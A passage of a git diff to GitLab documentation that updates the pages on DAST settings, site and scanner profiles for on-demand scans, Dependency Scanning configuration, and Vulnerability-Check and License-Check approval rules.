request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` | | `DAST_DEBUG` | boolean | Enable debug message output. Default: `false` | | `DAST_SPIDER_MINS` | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. | @@ -465,6 +497,7 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia | `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. | | `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false` | | `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false` | +| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html` | | `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. | | `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` | @@ -484,8 +517,8 @@ dast: ``` You must then overwrite the `script` command to pass in the appropriate -argument. For example, passive scanning can be delayed using option `-D`. The following -configuration delays passive scanning by five minutes: +argument. For example, vulnerability definitions in alpha can be included with +`-a`. The following configuration includes those definitions: ```yaml include: @@ -494,7 +527,7 @@ include: dast: script: - export DAST_WEBSITE=${DAST_WEBSITE:-$(cat environment_url.txt)} - - /analyze -D 300 -t $DAST_WEBSITE + - /analyze -a -t $DAST_WEBSITE ``` ### Custom ZAProxy configuration @@ -559,8 +592,8 @@ To use DAST in an offline environment, you need: NOTE: **Note:** GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), -meaning the Runner tries to pull Docker images from the GitLab container registry even if a local -copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) +meaning the runner tries to pull Docker images from the GitLab container registry even if a local +copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) in an offline environment if you prefer using only locally available Docker images. However, we recommend keeping the pull policy setting to `always` if not in an offline environment, as this enables the use of updated scanners in your CI/CD pipelines. @@ -600,110 +633,171 @@ security reports without requiring internet access. Alternatively, you can use the variable `SECURE_ANALYZERS_PREFIX` to override the base registry address of the `dast` image. -## On-Demand Scans +## Site profile -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.2. -> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.3. -> - It's deployed behind a feature flag, enabled by default. -> - It's enabled on GitLab.com. -> - It's able to be enabled or disabled per-project. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-on-demand-scans). +A site profile describes the attributes of a web site to scan on demand with DAST. A site profile is +required for an on-demand DAST scan. -You can run a passive DAST scan against a target website, outside the DevOps lifecycle. These scans -are always associated with the default branch of your project and the results are available in the -project dashboard. +A site profile contains the following: -### Site profile +- **Profile name**: A name you assign to the site to be scanned. +- **Target URL**: The URL that DAST runs against. -An on-demand scan requires a site profile, which includes a profile name and target URL. The profile -name allows you to describe the site to be scanned. The target URL specifies the URL against which -the DAST scan is run. +### Create a site profile -### Run an on-demand scan +To create a site profile: -NOTE: **Note:** -You must have permission to run an on-demand DAST scan against a protected branch. -The default branch is automatically protected. For more details, see [Pipeline security on protected branches](../../../ci/pipelines/index.md#pipeline-security-on-protected-branches). +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Click **Manage** in the **DAST Profiles** row. +1. Click **New Profile > Site Profile**. +1. Type in a unique **Profile name** and **Target URL** then click **Save profile**. -Running an on-demand scan requires an existing site profile. If a site profile for the target URL -doesn't exist, first [create a site profile](#create-a-site-profile). An on-demand DAST scan has -a fixed timeout of 60 seconds. +### Edit a site profile -- Navigate to your project's home page, then click **On-demand Scans** in the left sidebar. -- Click **Create new DAST scan**. -- Select a site profile from the profiles dropdown. -- Click **Run scan**. +To edit an existing site profile: -#### Create a site profile +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Click **Manage** in the **DAST Profiles** row. +1. Click **Edit** in the row of the profile to edit. +1. Edit the **Profile name** and **Target URL**, then click **Save profile**. -- Navigate to your project's home page, then click **On-demand Scans** in the left sidebar. -- Click **Create new DAST scan**. -- Click **New Site Profile**. -- Type in a unique **Profile name** and **Target URL** then click **Save profile**. +### Delete a site profile -#### Delete a site profile +To delete an existing site profile: -- Navigate to your project's home page, then click **On-demand Scans** in the left sidebar. -- Click **Create new DAST scan**. -- Click **Delete** in the matching site profile's row. +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Click **Manage** in the **DAST Profiles** row. +1. Click **{remove}** in the row of the profile to delete. -### Enable or disable On-demand Scans and site profiles +## Scanner profile -On-demand Scans with site profiles is enabled by default. You can disable On-demand Scans -instance-wide, or disable it for specific projects if you prefer. DAST site profiles are not -available if the On-demand Scans feature is disabled. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222767) in GitLab 13.4. +> - [Deployed behind a feature flag](../../feature_flags.md), enabled by default. +> - Enabled on GitLab.com. +> - Can be enabled or disabled per-project. +> - Recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can [disable this feature](#enable-or-disable-dast-scanner-profiles). -Use of On-demand Scans with site profiles requires **both** the following feature flags enabled: +A scanner profile defines the scanner settings used to run an on-demand scan: -- security_on_demand_scans_feature_flag -- security_on_demand_scans_site_profiles_feature_flag +- **Profile name:** A name you give the scanner profile. For example, "Spider_15". +- **Spider timeout:** The maximum number of minutes allowed for the spider to traverse the site. +- **Target timeout:** The maximum number of seconds DAST waits for the site to be available before + starting the scan. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can disable or enable the feature flags. +### Create a scanner profile + +To create a scanner profile: + +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Click **Manage** in the **DAST Profiles** row. +1. Click **New Profile > Scanner Profile**. +1. Enter a unique **Profile name**, the desired **Spider timeout**, and the **Target timeout**. +1. Click **Save profile**. + +### Edit a scanner profile + +To edit a scanner profile: + +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Click **Manage** in the **DAST Profiles** row. +1. Click **Edit** in the scanner profile's row. -#### Enable or disable On-demand Scans +### Delete a scanner profile -To disable On-demand Scans: +To delete a scanner profile: + +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Click **Manage** in the **DAST Profiles** row. +1. Click **{remove}** in the scanner profile's row. + +### Enable or disable DAST scanner profiles + +The scanner profile feature is ready for production use. It's deployed behind a feature flag that +is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) can opt to disable it. + +To disable it: ```ruby # Instance-wide -Feature.disable(:security_on_demand_scans_feature_flag) +Feature.disable(:security_on_demand_scans_scanner_profiles) # or by project -Feature.disable(:security_on_demand_scans_feature_flag, Project.find(<project id>)) +Feature.disable(:security_on_demand_scans_scanner_profiles, Project.find(<project id>)) ``` -To enable On-demand Scans: +To enable it: ```ruby # Instance-wide -Feature.enable(:security_on_demand_scans_feature_flag) +Feature.enable(:security_on_demand_scans_scanner_profiles) # or by project -Feature.enable(:security_on_demand_scans_feature_flag, Project.find(<project id>)) +Feature.enable(:security_on_demand_scans_scanner_profiles, Project.find(<project ID>)) ``` -#### Enable or disable site profiles +## On-demand scans + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.2. +> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.3. +> - It's deployed behind a feature flag, enabled by default. +> - It's enabled on GitLab.com. +> - It's able to be enabled or disabled per-project. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-on-demand-scans). + +An on-demand DAST scan runs outside the DevOps life cycle. Changes in your repository don't trigger +the scan. You must start it manually. + +An on-demand DAST scan: + +- Uses settings in the site profile and scanner profile you select when you run the scan, + instead of those in the `.gitlab-ci.yml` file. +- Is associated with your project's default branch. + +### Run an on-demand DAST scan + +NOTE: **Note:** +You must have permission to run an on-demand DAST scan against a protected branch. +The default branch is automatically protected. For more details, see [Pipeline security on protected branches](../../../ci/pipelines/index.md#pipeline-security-on-protected-branches). + +To run an on-demand DAST scan, you need: + +- A [scanner profile](#create-a-scanner-profile). +- A [site profile](#create-a-site-profile). + +1. From your project's home page, go to **Security & Compliance > On-demand Scans** in the left sidebar. +1. Click **Create new DAST scan**. +1. In **Scanner settings**, select a scanner profile from the dropdown. +1. In **Site profiles**, select a site profile from the dropdown. +1. Click **Run scan**. + +The on-demand DAST scan runs and the project's dashboard shows the results. + +### Enable or disable On-demand Scans + +The On-demand DAST Scans feature is enabled by default. You can disable on-demand scans +instance-wide, or disable it for specific projects if you prefer. + +To run on-demand DAST scans, an administrator must enable the +`security_on_demand_scans_feature_flag` feature flag. -The Site Profiles feature is enabled instance-wide by default. You can disable it instance-wide, or disable it -for specific projects if you prefer. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can disable or enable the feature flag. +can disable or enable the feature flags. -To disable Site Profiles: +To disable On-demand DAST Scans: ```ruby # Instance-wide -Feature.disable(:security_on_demand_scans_site_profiles_feature_flag) +Feature.disable(:security_on_demand_scans_feature_flag) # or by project -Feature.disable(:security_on_demand_scans_site_profiles_feature_flag, Project.find(<project id>)) +Feature.disable(:security_on_demand_scans_feature_flag, Project.find(<project id>)) ``` -To enable Site Profiles: +To enable On-demand DAST Scans: ```ruby # Instance-wide -Feature.enable(:security_on_demand_scans_site_profiles_feature_flag) +Feature.enable(:security_on_demand_scans_feature_flag) # or by project -Feature.enable(:security_on_demand_scans_site_profiles_feature_flag, Project.find(<project id>)) +Feature.enable(:security_on_demand_scans_feature_flag, Project.find(<project ID>)) ``` ## Reports @@ -825,6 +919,10 @@ variables: Here, DAST is being allocated 3072 MB. Change the number after `-Xmx` to the required memory amount. +### DAST job exceeding the job timeout + +If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/). + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md index d41f9441464..40189235e64 100644 --- a/doc/user/application_security/dependency_scanning/analyzers.md +++ b/doc/user/application_security/dependency_scanning/analyzers.md @@ -90,32 +90,7 @@ That's needed when one totally relies on [custom analyzers](#custom-analyzers). ## Custom analyzers -### Custom analyzers with Docker-in-Docker - -When Docker-in-Docker for Dependency Scanning is enabled, -you can provide your own analyzers as a comma-separated list of Docker images. -Here's how to add `analyzers/nuget` and `analyzers/perl` to the default images. -In `.gitlab-ci.yml` define: - -```yaml -include: - template: Dependency-Scanning.gitlab-ci.yml - -variables: - DS_ANALYZER_IMAGES: "my-docker-registry/analyzers/nuget,amy-docker-registry/analyzers/perl" -``` - -The values must be the full path to the container registry images, -like what you would feed to the `docker pull` command. - -NOTE: **Note:** -This configuration doesn't benefit from the integrated detection step. Dependency -Scanning has to fetch and spawn each Docker image to establish whether the -custom analyzer can scan the source code. - -### Custom analyzers without Docker-in-Docker - -When Docker-in-Docker for Dependency Scanning is disabled, you can provide your own analyzers by +You can provide your own analyzers by defining CI jobs in your CI configuration. For consistency, you should suffix your custom Dependency Scanning jobs with `-dependency_scanning`. Here's how to add a scanning job that's based on the Docker image `my-docker-registry/analyzers/nuget` and generates a Dependency Scanning report diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md index 6b14f93735b..5cce336d04c 100644 --- a/doc/user/application_security/dependency_scanning/index.md +++ b/doc/user/application_security/dependency_scanning/index.md @@ -20,7 +20,7 @@ vulnerabilities using Dependency Scanning. All dependencies are scanned, including the transitive dependencies (also known as nested dependencies). You can take advantage of Dependency Scanning by either [including the Dependency Scanning template](#configuration) in your existing `.gitlab-ci.yml` file or by implicitly using -the [Auto Dependency Scanning](../../../topics/autodevops/stages.md#auto-dependency-scanning-ultimate) +the [Auto Dependency Scanning](../../../topics/autodevops/stages.md#auto-dependency-scanning) provided by [Auto DevOps](../../../topics/autodevops/index.md). GitLab checks the Dependency Scanning report, compares the found vulnerabilities @@ -43,14 +43,12 @@ The results are sorted by the severity of the vulnerability: To run Dependency Scanning jobs, by default, you need GitLab Runner with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. -If you're using the shared Runners on GitLab.com, this is enabled by default. +If you're using the shared runners on GitLab.com, this is enabled by default. CAUTION: **Caution:** -If you use your own Runners, make sure your installed version of Docker +If you use your own runners, make sure your installed version of Docker is **not** `19.03.0`. See [troubleshooting information](#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details. -Beginning with GitLab 13.0, Docker privileged mode is necessary only if you've [enabled Docker-in-Docker for Dependency Scanning](#enabling-docker-in-docker). - ## Supported languages and package managers GitLab relies on [`rules`](../../../ci/yaml/README.md#rules) to start relevant analyzers depending on the languages detected in the repository. @@ -61,6 +59,7 @@ The following languages and dependency managers are supported: | Language (package managers) | Supported files | Scan tool(s) | |----------------------------- | --------------- | ------------ | | C# .NET ([NuGet](https://www.nuget.org/) 4.9+) | [`packages.lock.json`](https://docs.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files#enabling-lock-file) | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | +| C/C++ ([Conan](https://conan.io/)) | [`conan.lock`](https://docs.conan.io/en/latest/versioning/lockfiles.html) | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | | Java ([Gradle](https://gradle.org/), [Maven](https://maven.apache.org/)) | `build.gradle`, `build.gradle.kts`, `pom.xml` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | | JavaScript ([npm](https://www.npmjs.com/), [yarn](https://classic.yarnpkg.com/en/)) | `package-lock.json`, `npm-shrinkwrap.json`, `yarn.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium), [Retire.js](https://retirejs.github.io/retire.js/) | | Go ([Golang](https://golang.org/)) | `go.sum` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | @@ -99,7 +98,7 @@ include: The included template creates Dependency Scanning jobs in your CI/CD pipeline and scans your project's source code for possible vulnerabilities. The results are saved as a -[Dependency Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdependency_scanning-ultimate) +[Dependency Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdependency_scanning) that you can later download and analyze. Due to implementation limitations, we always take the latest Dependency Scanning artifact available. @@ -153,24 +152,10 @@ The following variables allow configuration of global dependency scanning settin | --------------------------------------- |------------ | | `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the official default images (proxy). Read more about [customizing analyzers](analyzers.md). | | `DS_DEFAULT_ANALYZERS` | Override the names of the official default images. Read more about [customizing analyzers](analyzers.md). | -| `DS_DISABLE_DIND` | Disable Docker-in-Docker and run analyzers [individually](#enabling-docker-in-docker). This variable is `true` by default. | -| `ADDITIONAL_CA_CERT_BUNDLE` | Bundle of CA certs to trust. | +| `ADDITIONAL_CA_CERT_BUNDLE` | Bundle of CA certs to trust. The bundle of certificates provided here is also used by other tools during the scanning process, such as `git`, `yarn`, or `npm`. | | `DS_EXCLUDED_PATHS` | Exclude vulnerabilities from output based on the paths. A comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec`). Parent directories also match patterns. Default: `"spec, test, tests, tmp"` | | `SECURE_LOG_LEVEL` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. Default: `info` | -#### Configuring Docker-in-Docker orchestrator - -The following variables configure the Docker-in-Docker orchestrator, and therefore are only used when the Docker-in-Docker mode is [enabled](#enabling-docker-in-docker). - -| Environment variable | Default | Description | -| --------------------------------------- | ----------- | ----------- | -| `DS_ANALYZER_IMAGES` | | Comma-separated list of custom images. The official default images are still enabled. Read more about [customizing analyzers](analyzers.md). | -| `DS_ANALYZER_IMAGE_TAG` | | Override the Docker tag of the official default images. Read more about [customizing analyzers](analyzers.md). | -| `DS_PULL_ANALYZER_IMAGES` | | Pull the images from the Docker registry (set to `0` to disable). | -| `DS_DOCKER_CLIENT_NEGOTIATION_TIMEOUT` | 2m | Time limit for Docker client negotiation. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, or `h`. For example, `300ms`, `1.5h`, or `2h45m`. | -| `DS_PULL_ANALYZER_IMAGE_TIMEOUT` | 5m | Time limit when pulling an analyzer's image. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, or `h`. For example, `300ms`, `1.5h`, or `2h45m`. | -| `DS_RUN_ANALYZER_TIMEOUT` | 20m | Time limit when running an analyzer. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, or `h`. For example, `300ms`, `1.5h`, or `2h45m`. | - #### Configuring specific analyzers used by Dependency Scanning The following variables are used for configuring specific analyzers (used for a specific language/framework). @@ -205,27 +190,6 @@ you can use the `MAVEN_CLI_OPTS` environment variable. Read more on [how to use private Maven repositories](../index.md#using-private-maven-repos). -### Enabling Docker-in-Docker - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12487) in GitLab Ultimate 12.5. - -If needed, you can enable Docker-in-Docker to restore the Dependency Scanning behavior that existed -prior to GitLab 13.0. Follow these steps to do so: - -1. Configure GitLab Runner with Docker-in-Docker in [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#use-docker-in-docker-with-privileged-mode). -1. Set the `DS_DISABLE_DIND` variable to `false`: - - ```yaml - include: - - template: Dependency-Scanning.gitlab-ci.yml - - variables: - DS_DISABLE_DIND: "false" - ``` - -This creates a single `dependency_scanning` job in your CI/CD pipeline instead of multiple -`<analyzer-name>-dependency_scanning` jobs. - ## Interacting with the vulnerabilities Once a vulnerability is found, you can interact with it. Read more on how to @@ -388,7 +352,6 @@ jobs to run successfully. For more information, see [Offline environments](../of Here are the requirements for using Dependency Scanning in an offline environment: -- Keep Docker-In-Docker disabled (default). - GitLab Runner with the [`docker` or `kubernetes` executor](#requirements). - Docker Container Registry with locally available copies of Dependency Scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images. - Host an offline Git copy of the [gemnasium-db advisory database](https://gitlab.com/gitlab-org/security-products/gemnasium-db/). @@ -399,8 +362,8 @@ Here are the requirements for using Dependency Scanning in an offline environmen NOTE: **Note:** GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), -meaning the Runner tries to pull Docker images from the GitLab container registry even if a local -copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) +meaning the runner tries to pull Docker images from the GitLab container registry even if a local +copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) in an offline environment if you prefer using only locally available Docker images. However, we recommend keeping the pull policy setting to `always` if not in an offline environment, as this enables the use of updated scanners in your CI/CD pipelines. @@ -443,7 +406,6 @@ include: variables: SECURE_ANALYZERS_PREFIX: "docker-registry.example.com/analyzers" GEMNASIUM_DB_REMOTE_URL: "gitlab.example.com/gemnasium-db.git" - GIT_SSL_NO_VERIFY: "true" ``` See explanations of the variables above in the [configuration section](#configuration). diff --git a/doc/user/application_security/img/adding_a_dismissal_reason_v13_0.png b/doc/user/application_security/img/adding_a_dismissal_reason_v13_0.png Binary files differdeleted file mode 100644 index cb8911b14b1..00000000000 --- a/doc/user/application_security/img/adding_a_dismissal_reason_v13_0.png +++ /dev/null diff --git a/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png b/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png Binary files differnew file mode 100644 index 00000000000..8e7bcf09428 --- /dev/null +++ b/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png diff --git a/doc/user/application_security/img/create_issue_from_vulnerability_v13_3.png b/doc/user/application_security/img/create_issue_from_vulnerability_v13_3.png Binary files differnew file mode 100644 index 00000000000..b792fbc9af1 --- /dev/null +++ b/doc/user/application_security/img/create_issue_from_vulnerability_v13_3.png diff --git a/doc/user/application_security/img/create_issue_with_list_hover.png b/doc/user/application_security/img/create_issue_with_list_hover.png Binary files differdeleted file mode 100644 index 4c38862e68f..00000000000 --- a/doc/user/application_security/img/create_issue_with_list_hover.png +++ /dev/null diff --git a/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png b/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png Binary files differnew file mode 100644 index 00000000000..a914c2996f7 --- /dev/null +++ b/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png diff --git a/doc/user/application_security/img/cve_id_request_button.png b/doc/user/application_security/img/cve_id_request_button.png Binary files differnew file mode 100644 index 00000000000..15707ba9eb2 --- /dev/null +++ b/doc/user/application_security/img/cve_id_request_button.png diff --git a/doc/user/application_security/img/cve_request_communication.png b/doc/user/application_security/img/cve_request_communication.png Binary files differnew file mode 100644 index 00000000000..0766b371c11 --- /dev/null +++ b/doc/user/application_security/img/cve_request_communication.png diff --git a/doc/user/application_security/img/cve_request_communication_publication.png b/doc/user/application_security/img/cve_request_communication_publication.png Binary files differnew file mode 100644 index 00000000000..9e34c217e13 --- /dev/null +++ b/doc/user/application_security/img/cve_request_communication_publication.png diff --git a/doc/user/application_security/img/interacting_with_vulnerability_v13_0.png b/doc/user/application_security/img/interacting_with_vulnerability_v13_0.png Binary files differdeleted file mode 100644 index 19d47712f9e..00000000000 --- a/doc/user/application_security/img/interacting_with_vulnerability_v13_0.png +++ /dev/null diff --git a/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png b/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png Binary files differnew file mode 100644 index 00000000000..db698995469 --- /dev/null +++ b/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png diff --git a/doc/user/application_security/img/new_cve_request_issue.png b/doc/user/application_security/img/new_cve_request_issue.png Binary files differnew file mode 100644 index 00000000000..a342c73992e --- /dev/null +++ b/doc/user/application_security/img/new_cve_request_issue.png diff --git a/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png b/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png Binary files differnew file mode 100644 index 00000000000..f497b0fbc4e --- /dev/null +++ b/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png diff --git a/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png b/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png Binary files differnew file mode 100644 index 00000000000..fc847b578f5 --- /dev/null +++ b/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png diff --git a/doc/user/application_security/img/vulnerability-check_v13_0.png b/doc/user/application_security/img/vulnerability-check_v13_0.png Binary files differdeleted file mode 100644 index 9f0bd0f759b..00000000000 --- a/doc/user/application_security/img/vulnerability-check_v13_0.png +++ /dev/null diff --git a/doc/user/application_security/img/vulnerability-check_v13_4.png b/doc/user/application_security/img/vulnerability-check_v13_4.png Binary files differnew file mode 100644 index 00000000000..e0b53059b45 --- /dev/null +++ b/doc/user/application_security/img/vulnerability-check_v13_4.png diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md index c003b512808..d509176f2b2 100644 --- a/doc/user/application_security/index.md +++ b/doc/user/application_security/index.md @@ -67,6 +67,7 @@ GitLab uses the following tools to scan and report known vulnerabilities found i | [Dependency List](dependency_list/index.md) **(ULTIMATE)** | View your project's dependencies and their known vulnerabilities. | | [Dependency Scanning](dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | | [Dynamic Application Security Testing (DAST)](dast/index.md) **(ULTIMATE)** | Analyze running web applications for known vulnerabilities. | +| [API fuzzing](api_fuzzing/index.md) **(ULTIMATE)** | Find unknown bugs and vulnerabilities in web APIs with fuzzing. | | [Secret Detection](secret_detection/index.md) **(ULTIMATE)** | Analyze Git history for leaked secrets. | | [Security Dashboard](security_dashboard/index.md) **(ULTIMATE)** | View vulnerabilities in all your projects and groups. | | [Static Application Security Testing (SAST)](sast/index.md) | Analyze source code for known vulnerabilities. | @@ -76,12 +77,12 @@ GitLab uses the following tools to scan and report known vulnerabilities found i When [Auto DevOps](../../topics/autodevops/) is enabled, all GitLab Security scanning tools will be configured using default settings. -- [Auto SAST](../../topics/autodevops/stages.md#auto-sast-ultimate) -- [Auto Secret Detection](../../topics/autodevops/stages.md#auto-secret-detection-ultimate) -- [Auto DAST](../../topics/autodevops/stages.md#auto-dast-ultimate) -- [Auto Dependency Scanning](../../topics/autodevops/stages.md#auto-dependency-scanning-ultimate) -- [Auto License Compliance](../../topics/autodevops/stages.md#auto-license-compliance-ultimate) -- [Auto Container Scanning](../../topics/autodevops/stages.md#auto-container-scanning-ultimate) +- [Auto SAST](../../topics/autodevops/stages.md#auto-sast) +- [Auto Secret Detection](../../topics/autodevops/stages.md#auto-secret-detection) +- [Auto DAST](../../topics/autodevops/stages.md#auto-dast) +- [Auto Dependency Scanning](../../topics/autodevops/stages.md#auto-dependency-scanning) +- [Auto License Compliance](../../topics/autodevops/stages.md#auto-license-compliance) +- [Auto Container Scanning](../../topics/autodevops/stages.md#auto-container-scanning) While you cannot directly customize Auto DevOps, you can [include the Auto DevOps template in your project's `.gitlab-ci.yml` file](../../topics/autodevops/customize.md#customizing-gitlab-ciyml). @@ -121,7 +122,7 @@ information with several options: - [Solution](#solutions-for-vulnerabilities-auto-remediation): For some vulnerabilities, a solution is provided for how to fix the vulnerability. - + ### View details of a DAST vulnerability @@ -165,7 +166,8 @@ reports. You can specify the list of all headers to be masked. For details, see ### Dismissing a vulnerability -To dismiss a vulnerability, you must set its status to Dismissed. Follow these steps to do so: +To dismiss a vulnerability, you must set its status to Dismissed. This dismisses the vulnerability +for the entire project. Follow these steps to do so: 1. Select the vulnerability in the Security Dashboard. 1. Select **Dismissed** from the **Status** selector menu at the top-right. @@ -181,7 +183,7 @@ vulnerability's status to Dismissed, a text box appears for you to add a comment dismissal. Once added, you can edit or delete it. This allows you to add and update context for a vulnerability as you learn more over time. - + #### Dismissing multiple vulnerabilities @@ -196,22 +198,6 @@ Pressing the "Dismiss Selected" button will dismiss all the selected vulnerabili  -### Creating an issue for a vulnerability - -You can create an issue for a vulnerability by selecting the **Create issue** -button from within the vulnerability modal, or by using the action buttons to the right of -a vulnerability row in the group security dashboard. - -This creates a [confidential issue](../project/issues/confidential_issues.md) in the project the -vulnerability came from, and pre-populates it with some useful information taken from the vulnerability -report. Once the issue is created, you are redirected to it so you can edit, assign, or comment on -it. - -Upon returning to the group security dashboard, the vulnerability now has an associated issue next -to the name. - - - ### Solutions for vulnerabilities (auto-remediation) > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5656) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.7. @@ -246,10 +232,29 @@ vulnerability. Any vulnerability that has a [solution](#solutions-for-vulnerabilities-auto-remediation) can have a merge request created to automatically solve the issue. -If this action is available, the vulnerability modal contains a **Create merge request** button. +If this action is available, the vulnerability page or modal contains a **Create merge request** button. Click this button to create a merge request to apply the solution onto the source branch. - + + +### Creating an issue for a vulnerability + +You can create an issue for a vulnerability by visiting the vulnerability's page and clicking +**Create issue**, which you can find in the **Related issues** section. + + + +This creates a [confidential issue](../project/issues/confidential_issues.md) in the project the +vulnerability came from, and pre-populates it with some useful information taken from the vulnerability +report. Once the issue is created, you are redirected to it so you can edit, assign, or comment on +it. CVE identifiers can be requested from GitLab by clicking the +[_CVE ID Request_ button](cve_id_request.md) that is enabled for maintainers of +public projects on GitLab.com + +Upon returning to the group security dashboard, the vulnerability now has an associated issue next +to the name. + + ### Managing related issues for a vulnerability @@ -307,15 +312,29 @@ rating. ### Enabling Security Approvals within a project -To enable Security Approvals, a [project approval rule](../project/merge_requests/merge_request_approvals.md#adding--editing-a-default-approval-rule) -must be created with the case-sensitive name `Vulnerability-Check`. This approval group must be set -with the number of approvals required greater than zero. You must have Maintainer or Owner [permissions](../permissions.md#project-members-permissions) to manage approval rules. +To enable the `Vulnerability-Check` or `License-Check` Security Approvals, a [project approval rule](../project/merge_requests/merge_request_approvals.md#adding--editing-a-default-approval-rule) +must be created. A [security scanner job](#security-scanning-tools) must be enabled for +`Vulnerability-Check`, and a [license scanning](../compliance/license_compliance/index.md#configuration) +job must be enabled for `License-Check`. When the proper jobs aren't configured, the following +appears: + + + +If at least one security scanner is enabled, you will be able to enable the `Vulnerability-Check` approval rule. If a license scanning job is enabled, you will be able to enable the `License-Check` rule. + + + +For this approval group, you must set the number of approvals required to greater than zero. You +must have Maintainer or Owner [permissions](../permissions.md#project-members-permissions) +to manage approval rules. + +Follow these 